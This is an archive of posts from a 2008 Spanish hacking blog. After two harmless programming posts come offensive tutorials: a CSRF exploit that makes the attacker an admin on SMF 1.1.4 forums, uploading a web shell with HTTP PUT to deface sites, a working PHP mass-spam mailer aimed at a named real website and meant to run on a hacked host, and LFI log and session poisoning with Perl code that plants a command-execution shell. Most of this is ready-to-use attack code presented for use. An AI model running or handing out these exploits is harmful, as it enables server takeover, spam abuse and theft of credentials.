domingo, 31 de agosto de 2008

Posters de Visual Studio 2008

Todos sabemos que los atajos del teclado son realmente útiles y nuestra productividad aumenta si los utilizamos. Visual Studio 2008 posee un atajo para casi todas las tareas, por lo que puede llegar a ser muy difícil recordar todos. Aquí os dejo unos posters que recogen todos y ademas son bien chulos. También uno del FrameWork 3.5 con los tipos y Namespaces más utilizados. Unos posters de lujo:

Póster Visual Basic 2008

Póster Visual C# 2008


Póster Visual C++ 2008

Póster Framework 3.5

Salu2
5 0verl0ad Labs: agosto 2008 Todos sabemos que los atajos del teclado son realmente útiles y nuestra productividad aumenta si los utilizamos. Visual Studio 2008 posee un...

jueves, 28 de agosto de 2008

WPF Application Paper

Este documento, nos muestra, desde un nivel básico, paso a paso y mediante ejemplos, como crear aplicaciones WPF.
Si no te quieres quedar atrás en lo que a programación respecta, ya sabes cual debe ser tu próxima lectura.




Salu2

PD: Como toda buena información, está en inglés, y mucho me temo, poca encontrarás en español, y más que sea tan completa.
5 0verl0ad Labs: agosto 2008 Este documento, nos muestra, desde un nivel básico, paso a paso y mediante ejemplos, como crear aplicaciones WPF. Si no te quieres quedar at...

martes, 26 de agosto de 2008

CSRF: Explotando con .htaccess

Saludos!


Muchas veces no sabemos cómo ingeniárnosla para poder explotar un CSRF, puesto que hasta hoy esto ha requerido de la pericia y habilidad social (lo que denominados ingenieria social) del atacante para conseguir que nuestra víctima viera una web, o clicase sobre un link... Gracias a una vulnerabilidad "presuntamente" descubierta por WHK esto se ha terminado (digo presuntamente, porque yo ya había leido hace tiempo algo relacionado con esto, pero nunca vi esto exactamente, por eso no puedo decir si realmente ha sido él o no el descubridor, yo en todo caso esta información la he sacado de un post suyo en elhacker.net).


La vulneravilidad está presente en todos aquellos sistemas o aplicaciones webs que permitan el uso de tags para la visualización de imágenes. Hoy en día creo que el 100% de los foros podrían ser vulnerables debido a que todos usan [img][/img].


Para explotar esta vulnerabilidad es necesario crear un .htaccess en un directorio, y agregarle este contenido:

<Files *.jpg>
ForceType application/x-httpd-php
</Files>

Estas líneas lo que haran será que se interpreten los archivos .jpg como si se tratasen de aplicaciones, lo que nos permitiría meter código PHP dentro del source de un .jpg y que éste se ejecute cuando se visualice en otra página.

Aqui les dejo un exploit para usar en las firmas de los foros SMF 1.1.4 y ser admins... Tendreis que modificarle un par de cosillas (anti-Kiddies)

<?php
/*
SMF 1.1.4 ADD USER IN A GROUP VULNERABILITY
PoC codded by Vengador de las Sombras
Dork: "Powered by SMF 1.1.4"
============================================
Cross Site Request Forguery
============================================
Gr3tZ to: Lëssiëm, WaesWaes, Plaga, Lutscher
Phonix, Fr34k, Keynet, CHR0N05,
Mycrox & #RE & ArgeniversoHack
Members
=============================================
(c)F.o.S. TeaM 2008
*
$foro = $_GET['foro'];
if(isset($_GET['foro'])){
header("Location: ".$foro./indez.php?action=membergroups;sa=members;group=1;realName=[OurNickName];toAdd=usertoadd&add=Add+Members&sc=[Admin ID]"):
}
*/
?>


Ya sabeis como utilizarlo :D
5 0verl0ad Labs: agosto 2008 Saludos! Muchas veces no sabemos cómo ingeniárnosla para poder explotar un CSRF, puesto que hasta hoy esto ha requerido de la pericia y ...

lunes, 25 de agosto de 2008

HTTP METHODS: Subiendo Shell mediante PUT

Saludos!


El caso es que ayer estaba hablando con RGB90, cuando salió este tema de conversación, el de defacear una web a través del método HTTP PUT. Antes que nada necesito hacer una pequeña introducción para que comprendais cómo funcionan los Métodos HTTP, veremos algunos métodos y posteriormente pasare a la explicación de como usar PUT (Si el servidor lo tiene Allowed) para modificar un archivo, o para subir una shell.


El protocolo HTTP tiene una serie de métodos que permiten interaccionar al cliente con un servidor (generalmente en el que se aloja una web). Las relaciones entre cliente y servidor, se lleva a cabo a través de cabeceras, las que manda el cliente las denominaremos peticiones. El servidor manda otras cabeceras en respuesta a esas peticiones que el cliente mandó.

Existen varios tipos de cabeceras, entre las que destacan OPTIONS, HEAD, PUT, DELETE, MOVE, COPY, POST, GET... Estoy más seguro que estaris más familiarizados con los métodos POST y GET, sobre todo los que sepan PHP.

Para poder visualizar una web a través de un navegador, el navegador a tenido primero que mandar una cabecera con un metodo tipo GET (este tipo de metodo se encarga de mostrar el código fuente de un archivo, el cual posteriormente el navegador interpretará) a la cual el servidor ha respondido mandandole una cabecera con algunos datos, y que además contiene el source del archivo al que le hemos hecho GET.

Quizás os haya liado un poco con tanta palabrería, así que os lo explico rápidamente mostrando un ejemplo:

-Navegador manda una cabecera:

GET /index.php HTTP/1.1
Host: hostfalso.com



-Servidor le contesta:

HTTP/1.x 200 OK
Date: Mon, 25 Aug 2008 14:25:39 GMT
Server: Apache
Conection: Keep-Alive
Keep-Alive: Timeout=2, max=125

<h1>Hello World</h1>


Como podeis observar, la estructúra básica de una cabecera es:
[Metodo] [Archivo] HTTP/
Host: El host


Y debajo otros campos, como pueden ser el tiempo de vida, la cookie, el user-agent, etc...


Podemos usar add ons como Tamper Data, Live HTTP Header, o Achilles para poder sniffear estas cabeceras y poder modificarlas posteriormente. Nosotros vamos a servirnos de Live HTTP Header (para FireFox) para modificar las peticiones y así usar otros métodos...


Ahora retomemos aquello de lo que empecemos a hablar, los métodos HTTP. Si recordais, nombré a OPTIONS. Este método informa sobre los metodos que el servidor tiene Allowed (permitidos). Lo normal es que tengan muy restringido esto... Puesto como ya le enseñe a RGB90 en dos Webs, que si no se tiene cuidado podemos defacear perfectamente, o borrar archivos...

Bueno, como iba diciendo, si sniffeamos una cabecera con Live HTTP Headers, y le damos a REPETIR y cambiamos GET por OPTIONS, volvemos a dar a repetir... Y obtendremos una nueva respuesta por parte del servidor, en la cual aparecerá más data, y la parte que nos interesa los métodos permitidos.

Éstos aparecen en una línea que comienza con Allow: [Metodos permitidos]. En el caso de que tuviesen permito el método PUT, podríamos subir una shell...

Ahora hablemos un poco sobre este método... El método PUT es lo contrario de GET. GET, por su parte lo que hace es leer el source del archivo al que le hacemos la petición, en cambio, PUT lo que hace es sobreescribir sobre el código fuente del archivo. Para usar PUT simplemente devemos de mandar una cabecera así:

PUT /archivo.php HTTP/1.1
Host: Ficticio.com

AQUI EL CODIGO FUENTE


Si el archivo al que le hacemos PUT existe, lo que ocurre es que se sobreescribe nuestro código fuente sobre el que ya había, en cambio si no existe el archivo... lo crea. Por lo tanto, de esta forma podemos subir una shell a un servidor que tenga permitido el método PUT.

Baste decir que si el webmaster mira sus logs, podrá ver perfectamente que hemos recurrido a esta técnica, puesto que canta mucho XD.


Podeis codearos algún exploit, yo anoche estuve codeando uno para este tutorial, se lo pasé a Seth para que lo betatesteara, me mandó los errores y los corregí, ahora el problema es de diseño, es decir funciona sin errores, pero me salta como que PUT está allowed siempre -.-, dentro de un rato lo revisaré haber si consigo arreglar eso y lo publico.
5 0verl0ad Labs: agosto 2008 Saludos! El caso es que ayer estaba hablando con RGB90, cuando salió este tema de conversación, el de defacear una web a través del m...

domingo, 24 de agosto de 2008

Form Tampering: Modificando Formularios



Saludos!

Hoy vengo a explcarles una técnica de las que realmente poco se utiliza por su escasez, y de utilizarse es para explotar alguna nimiedad, del estilo de bypassear un filtro de maxlenght en un input. En ningún caso podemos considerar al Form Tampering como una vulnerabilidad, puesto que no se explota nada, hay que entenderlo más bien como una técnica.

Esta técnica consiste en modificar el contenido de un formulario antes de ser enviado. ¿Qué importancia tiene esto? Pues en realidad sólo sirve para poder modificar contenido antes de que sea procesado. La gracia de esta técnica suele ser cuando encontramos en un formulario campos "hidden" cuyo contenido pueda tener mucha relevancia, como por ejemplo un precio (véase el video de Login-RooT acerca de este tema), o como en el caso de perfil.com, podemos construirnos un mailer (vulnerabilidad descubierta por r0dr1g0), o muchas otras cosas, dependiendo de qué campos encontremos.


Seguro que todos vosotros habeis recurrido a modificar el código fuente de un formulario para poder explotar un XSS, el cual no podíais hacer porque había un input con un maxlength que limitaba el número de caracteres que se podían poner. También es común esto en el caso de las SQL Injections dentro de buscadores y que limitan el número de caracteres. Pues bien, esto ya es Form Tampering, ya que lo modificamos "antes" de enviar la petición. Por el contrario, si lo que hacemos es modificar la petición a través de algún sniffer de cabeceras (como Live HTTP Headers, Tamper Data, Achilles, etc) no se trataría de Form Tampering, puesto que lo que hacemos no es modificar el formulario.


Para poder modificar los campos de los formularios podemos valernos de diversas herramientas, ya sean modificar el código fuente desde el propio navegador, o usar ADD ONS que nos faciliten el trabajo, como el Web Developer Tool Bar. El uso de este add on es sencillo (pueden buscarlo en la web oficial de FireFox) simplemente debemos de posicionarnos en la web que queremos ver el contenido de sus formularios, vamos a la Toolbar que se qeuda en el navegador y seleccionamos la casilla Forms (la cuarta desde la izquierda). Allí marcamos "Display Form Details" y se nos motrarán todos los campos del formulario, permitiendonos modificar los campos "hidden".


Si bien al inicio de este artículo mencioné la vulnerabilidad de Perfil.com que permitía construir un mailer, ahora será cuando ejemplifiquemos cómo usar Form Tampering para explotarla.

Si vamos a esta web ( http://www.perfil.com/contactenos.html ) y mostramos los formularios ocultos... ¿Qué encontramos? <input name="to"> Fijaros que contiene! es el E-mail de Perfil.com Si lo modificamos y añadimos un correo nuestro, y ponemos un nombre de correo inexistente, vereis como nos llega un correo Inbox a nuestra bandeja de entrada desde el correo inexistente :D.


Ahora debemos de analizar porqué el webmaster a dejado esta falla tan grande. Fijaros en la extensión de la página de envío de mails, se trata de .html, luego es una página estática. En las páginas estáticas no existe la posibilidad de crear variables que no se vean con la direccion del correo (como pasa en PHP o ASP), luego el webmaster debe de incluirlo dentro del formulario... y para "ocultarlo" lo ponen como hidden...


Bueno espero que les haya sido de utilidad este paper sobre Form Tampering, para culminar les dejo aquí un exploit para el mailer codeado por Keynet (hay que subirlo a un HackedHost que permita las funciones de Fsockopen:

<title>Mailer ilimitado (#RE) - by KeyNet</title>
<style>
*{
background-color:#000000;
color:#CCCCCC;
font-family:Verdana;
font-size:10px;
border-color:white;
}
#boton{
background:none;
border:solid;
border-width:1px;
}
#no
{
color:red;
}
#yes
{
color:orange;
}
a,a:link,a:visited,a:active
{
color:#ffffff;
text-decoration:none;
}
a:hover
{
color:#CCCCCC;
}
</style>
<FORM id="Form1" name="EnviarForm" method="post" action="">
<table>
<tr>
<td>Asunto: </td>
<td><input type="text" name="nombreFrom" value="<?php if($nombreFrom!=""){echo $nombreFrom;}else{echo 'el asunto de siempre..';}?>" size="40"></td>
<tr>
<td>mail emisor: </td>
<td><input type="text" name="from" value="<?php if($from!=""){echo $from;}else{echo 'cualquiera@gmail.com';}?>" size="40"></td>
</tr>
</table>
<table>
<tr>
<td><textarea name="comentario" rows="12" cols="50"><?php if($comentario!=""){echo $comentario;}else{echo 'visita www.remoteexecution.org';}?></textarea></td>
<td><textarea name="to" rows="12" cols="50"><?php if($to!=""){echo $to;}else{echo 'spammeame@gmail.com'."\n".'amitambienarre@hotmail.com';}?></textarea></td>
</tr>
</table>
<input type="submit" value="ENVIAR" name="Submit"/>
</form>
<?php
@set_time_limit(0);
$nombreFrom = $_POST['nombreFrom'];
$from = $_POST['from'];
$comentario = $_POST['comentario'];
$Submit = $_POST['Submit'];
$to = $_POST['to'];
$count = 0;
if(isset($Submit))
{
$mail_clean = explode("\n",$to);
$count_mails = count($mail_clean);
for($for1=0;$for1<$count_mails;$for1++)
{
$mailto = trim($mail_clean[$for1]);
if(strpos($mailto,'@'))
{
$clean_name = explode('@',$mailto);
$nombreto = $clean_name[0];
$host = 'www.perfil.com';
$path2crack = '/system/modules/com.tfsla.perfil.diario/elements/comentarios_send.jsp'
;
$log_string = 'to='.urlencode($mailto).'&nombreTo='.urlencode($nombreto).'&nombreFrom='.urlencode
($nombreFrom).'&from='.urlencode($from).'&comentario='.urlencode($comentario).'
&Submit=ENVIAR';
$count_log_string = strlen($log_string);
$header = "POST ".$path2crack." HTTP/1.1\r\n";
$header .= "Host: ".$host."\r\n";
$header .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\r\n";
$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/
png,image/jpg,image/gif,*/*;q=0.5\r\n";
$header .= "Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header .= "Keep-Alive: 300\r\n";
$header .= "Proxy-Connection: keep-alive\r\n";
$header .= "Referer: http://".$host.$path2crack."\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".$count_log_string."\r\n\r\n";
$header .= $log_string."\r\n\r\n";
$socket = fsockopen($host,80);
fwrite($socket,$header);
$count++;
printf("<li>%s SPAMMED (%d) !!</li>",htmlentities($mailto),$count);
}
}
print '<script>alert("'.$count.' mails spammed !!")</script>';
}
?>
5 0verl0ad Labs: agosto 2008 Saludos! Hoy vengo a explcarles una técnica de las que realmente poco se utiliza por su escasez, y de utilizarse es para explotar algu...

sábado, 23 de agosto de 2008

Source Code Disclosure [ S.C.D.]



Se me ocurrió la idea de publicar acerca de esta vulnerabilidad no muy conocida (tal vez porque no es de las que consideramos como de 1ª clase, tales como RFI, LFI, o SQL Injections pero que aún así puede suponer un gran impacto sobre la seguridad de una web) al ver el exploit codeado por SetH.


La vulnerabilidad en sí consiste en permitir ver el código fuente de archivos alojados en el servidor, conllevando a que un atacante malicoso obtenga información sensible, tales como los datos de las DBs (nombre de usuario, password, etc) o poder ver el funcionamiento de una tercera aplicación que esté en el servidor, permitiendo buscar vulnerabilidades de forma más facil.

Nosotros vamos a diferenciar entre dos tipos de SCD, el primero que pasaremos inmediatamente a analizar se basa en la posibilidad de descarga a nuestro ordenador de archivos de la web. El segundo tipo del que hablaremos es caracterizado por ver el código fuente dentro de otro archivo, es decir, lo podremos ver desde el navegador sin necesidar de descargarlo.


Imaginemos un posible código fuente de una aplicación encargada de descargar los archivos que nosotros le indiquemos a través de una sencilla petición GET. El código vulnerable podría ser este:
<?php
/* Ejemplo de código vulnerable
===================================
Paper sobre Source Code Disclosure
By Vengador de las Sombras
===================================
Flaming our Skills TeaM (F.O.S.)
=================================== */
ob_start();
$archivo=$_GET['descargar'];
if ($archivo == " "){ //Si no se introduce nada en descargar, mostrara un error
echo '<script>alert("ERROR! No ha introducido ningún archivo!!")</script>';
exit;
}
header("Pragma: public");
header("Expires: 0");
header("Content-type: aplication/octet-stream");
header("Content-disposition: attachment; filename=$archivo");
header("Content-Length:".filesize("$archivo"));
readfile("$filename");
?>


El funcionamiento de esta sencillísima aplicación sería el de descargar un archivo que introduzcamos a través de la URL, por ejemplo http://SCD.com/index.php?descargar=/documentos/ficha.doc . Como podeis ver en el código fuente, no hemos añadido ningún tipo de filtro, por lo que un usuario malintencionado podría poner en ?descargar= otro archivo distinto, lo que conllevaría la descarga de otro archivo alojado en el servidor.

Es decir, si nosotros modificamos la URL y colocamos http://SCD.com/index.php?descargar=/admin/admin.php, obtendríamos como resultado la descarga del index del panel de administración... Con lo que podríamos buscar posibles vectores de ataque contra ese archivo (o contra cualquier otro que nos descarguemos).

Pero de esta forma no se le saca el auténtico jugo de esta vulnerabilidad, puesto que puede ser dificultoso encontrar bugs dentro del source de las aplicaciones. El auténtico jugo se le saca cuando dentro del código fuente de lo que nos descargamos aparecen datos de la DB. En este caso, nos abría tocado el gordo.


Retomemando el ejemplo anterior, imaginémonos que dentro del código fuente de admin.php encontramos una línea similar a esta:

include("/admin/includes/database.inc");


Inclusiones de este tipo dentro del código fuente de un .php suele ir asociado a la asignación de los datos necesarios para conectarse a la Base de Datos y que la aplicación trabaje sobre ella. Entonces siempre deberemos de descargarnos esta clase de archivos, puesto que es muy alta la probabilidad de encontrar datos como DB_USER, DB_PASS y demás.

El segundo tipo del que os iba a hablar es del que aparece en el siguiente post de una vulnerabilidad descubierta por SetH (Post aqui). Se produce cuando permiten la inclusión de un archivo (el típico LFI), pero filtran el código para evitar que se ejecute.


A diferencia del tipo anteriormente comentado, ahora para ver el código fuente no recurriremos a la descarga del archivo, si no que al hacer la inclusión pueden ocurrir dos cosas:

a)Veamos el código fuente del archivo
b)Sólo veamos pequeñas partes del código y algunos tags HTML ejecutados

De encontrarnos en el segundo caso, para ver el código fuente únicamente tendremos que darle a "Ver Código fuente" dentro del navegador, en FireFox existe el método abreviado de Crtl + U. Ahí veremos perfectamente todo el código fuente :) ( el PHP tambien se ve de esta forma)
5 0verl0ad Labs: agosto 2008 Se me ocurrió la idea de publicar acerca de esta vulnerabilidad no muy conocida (tal vez porque no es de las que consideramos como de 1ª...

Local File Inclusion: Infectando archivos

Existen ocasiones en que encontramos una web vulnerable a LFI, pero no podemos explotarlo, usando una shell debido a que la web no tienen ningún sistema de upload de fotos u otro tipo de archivos... Entonces nos vemos en la necesidad de recurrir a otros trucos para poder sacarle jugo a ese LFI que habíamos encontrado.

Como no podemos subir archivos desde nuestro ordenador, tendremos que buscar una forma para poder introducir nuestra shell dentro del servidor. Es aquí donde entra el juego la "infección", entendiendo infección como la adición de código malicioso (una shell, un backdoor, algún exploit, etc) dentro de un archivo legítimo del servidor. Esta hazaña puede parecer muy dificil, pero si tenemos en cuenta que existen numerosos archivos que son sobreescritos mientras que navegamos, la cosa se aclara un poco más. Para ejemplificar esto de la infección de archivos, voy a proceder a explicar cómo explotar un LFI a partir de los Logs del servidor, y también a partir de un sistema de sesiones (este último ejemplo lo extraigo del foro vZack).

=====================================================================================
INFECTANDO LOGS

Todo el mundo sabe que en los servidores se guardan unos logs que archivan los errores y movimientos que se realizan dentro del servidor. Usualmente, estos logs suelen guardar informaciones tales como la IP del visitante, su navegador, etc...


Esta información la extraen a través de las HTTP Headers que se mandan al servidor. Un ejemplo de una cabecera corta sería:

GET / HTTP/1.1
Host: level-23.com
User-Agent: Mozilla Firefox
Connection: Keep-Alive


Como observais, User-Agent va a contener la información de nuestro navegador... y esta misma información (exactamente lo mismo) va a ser escrita dentro de los logs....

Si tenemos en ese servidor un archivo vulnerable a LFI, ya sabeis, los típicos:


...........
...........
codigo....
.,,,,,,,,,...
<?php
include($_GET['page']);
?>


Podemos poner en la variable de tipo GET page un archivo que se encuentre dentro del servidor... Usualmente solemos buscar por instinto algún upload de imágenes/txt o cosas así... Pero si no encontramos alguno... ¿Como podemos subir nuestra shell?.

En vez de subir shell, lo que vamos a hacer es infectar los logs con código malicioso, es decir, vamos a introducir una shell dentro del servidor aprovechando que guarda la información de variables tales como User-Agent (esta técnica también es aplicable a otras variables).


Para inyectar el código, tenemos dos opciones, la primera sería usar algún sniffer de cabeceras como puedes Tamper Data, o Live HTTP Headers, (ambos add ons para FireFox). La segunda opción (y con la que yo creo que se aprende más) es creando un exploit (yo recomiendo PHP o PERL).

El exploit lo debemos de componer de dos partes. La primera parte será la encargada de mandar una cabecera que infecte los logs, y la segunda será la encargada de ejecutar los comandos y mostrar el output de éstos. Para empezar debemos de lanzar unos sockets que manden la cabecera con el siguiente código:

<?php echo "Empieza"; passthru($_SERVER[HTTP_FoS); echo "Final"; ?>


Entonces debería de quedar algo tipo...
use IO::Socket::INET;
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";
print $socket "GET / HTTP/1.1\nHost: $host\nUser-Agent: <?php echo "Empieza"; passthru($_SERVER[HTTP_FoS); echo "Final"; ?>\nConnection: Keep-Alive\n\n";

close $socket;


Y despues para ejecutar los comandos, tenemos que mandar en la cabecera una nueva variable, FoS, que será la contenga los comandos a ejecutar, pero esta vez tendremos que hacer una petición GET al archivo vulnerable a LFI, haciendo ya la inclusión del log:

use IO::Socket::INET;
$peticion= "path/archivo.php?="."../../lugar/del/log";
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";
print $socket "GET $peticion HTTP/1.1\nHost: $host\nFoS: ls -la\nConnection: Keep-Alive\n\n";
close $socket;


Yo recomiendo hacer un bucle con FOR para incluir todos los lugares donde se encuentran los logs de forma habitual... (como el lógico tendreis que añadir la variable $host, y montar realmente el exploit, esto es un simple PoC).

Para hacer el output del comando, recomiendo recoger la del socket y pasarle un patrón de búsqueda para que busque "Empieza" y a partir de ahí mostrar el código fuente hasta "Final" (por eso lo escribí en la shell, para que sirviesen como acotación del output).


=====================================================================================
INFECTANDO SESIONES (extraido del foro de vZack)

Introducion
Muchas veces tenemos solamente un LFI y no sabemos como explotarlo, en este manual os enseñare a como ejecutar LFI teniendo una web vulnerable.

Requisitos de la web:
-Que use LFI
-Que tenga un sistema de usuarios o algún sistema que funciones con sesiones.

Teoría
Supongo que sabreis que las sesiones php te mandan una cookie (llamada PHPSSESID habitualmente) con un identificador en su interior, que a php le sirve para encontrar los valores de la cookie que se encuentran en /tmp/sess_[id]. Entonces nosotros modificaremos los valores del archivo sess_[id] introduciendo código php en su interior.

La practica
Ejemplo de código vulnerable simplificado:
<?php
session_start();
$idioma = $_GET['idioma'];
$_SESSION['idioma'] = $idioma;

if($_SESSION['idioma'] == 'en')
echo 'Hi, welcome to my website';
else
echo'Hola, bienvenido a mi sitio web';
?>
Que pasaría si visitaríamos index.php?idioma=<? phpinfo(); ?>, $_SESSION[idioma] tomaría el valor de <? phpinfo(); ?>, y este código se guardaría en /tmp/sess_[id], asi que solo tendríamos que mirarel valor de la cookie que nos a lanzado 9d8edfb9f556004520e4b55fa1d98c8b y después incluirla en nuestro bug LFI asi: lfi.php?lfi=../../../../../../../../../../tmp/sess_9d8edfb9f556004520e4b55fa1d98c8b y ya habriamos ejecutado cogido php "infectando" la sesion.

Solución
Para que esto no te pase en tus aplicaciones es recomendable pasar la sesión por htmlspecialchars, asi no podrian abrir las tags del php (<? y ?>)

Este método se me a ocurrido a mi pero bueno seguramente esta descubierto hace tiempo.

Saludos a todos (Hondamena)


5 0verl0ad Labs: agosto 2008 Existen ocasiones en que encontramos una web vulnerable a LFI, pero no podemos explotarlo, usando una shell debido a que la web no tienen n...
<